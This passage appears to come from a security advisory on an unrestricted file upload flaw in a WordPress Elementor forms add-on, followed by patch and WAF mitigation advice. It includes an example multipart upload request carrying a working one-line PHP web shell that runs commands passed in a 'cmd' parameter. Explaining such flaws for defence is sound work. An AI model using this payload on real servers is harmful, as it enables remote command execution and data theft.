How the Exploit Works
The exploit takes advantage of the unrestricted file upload vulnerability in the Drag and Drop File Upload for Elementor Forms add-on. This flaw allows an attacker to upload files of any type, including scripts that can run commands on the server, such as a web shell. Once uploaded, the attacker can execute this web shell to run arbitrary commands on the server. This can lead to unauthorized access to the server, potential system compromise, and data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited with an HTTP POST request to upload a malicious web shell:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a file named “shell.php” containing PHP code to execute system commands is uploaded. The attacker can then access this script and pass commands through the ‘cmd’ GET parameter.
Mitigation
Users of the Drag and Drop File Upload for Elementor Forms add-on are advised to apply the vendor patch as soon as possible. If a patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to upload potentially dangerous file types.
